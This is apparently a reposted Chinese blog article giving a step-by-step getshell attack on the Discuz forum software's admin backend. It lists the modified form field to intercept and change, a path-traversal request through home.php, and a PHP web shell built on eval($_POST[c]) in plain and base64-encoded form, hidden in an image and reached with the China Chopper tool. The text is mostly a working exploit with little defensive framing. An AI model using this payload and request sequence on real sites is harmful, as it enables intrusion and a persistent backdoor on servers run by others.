这篇文章主要介绍了discuz 最新后台getshell的示例分析，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让小编带着大家一起了解一下。
用户 – 用户栏目 – 栏目分组 – 提交 – 抓包 (我就是在这步出错的，一定要提交，不然抓到的数据包不一样)
1 |
Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]" |
改为
1 |
Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]" |
访问
1 |
/home.php?mod=spacecp&id=../../robots.txt%0057 |
本地测试dzx2.5抓包 把base改为下图中的plugin
测试环境中，上传的一句话***菜刀连接失败，最后改为了base64加密
//加密前的内容
<?php @eval(fputs(fopen('./test.php','w+'),'<?php eval($_POST[c]);?>');));?>
//加密后的内容
<?php @eval(base64_decode('ZnB1dHMoZm9wZW4oJy4vdGVzdC5waHAnLCd3KycpLCc8P3BocCBldmFsKCRfUE9TVFtjXSk7Pz4nKTs='));?>
合成图片***，上传，
/home.php?mod=spacecp&id=../../图片马地址%0057
在当前目录下生成了test.php，菜刀连接之…
感谢你能够认真阅读完这篇文章，希望小编分享的“discuz 最新后台getshell的示例分析”这篇文章对大家有帮助，同时也希望大家多多支持亿速云，关注亿速云行业资讯频道，更多相关知识等着你来学习!
原创文章，作者：3628473679，如若转载，请注明出处：https://blog.ytso.com/222569.html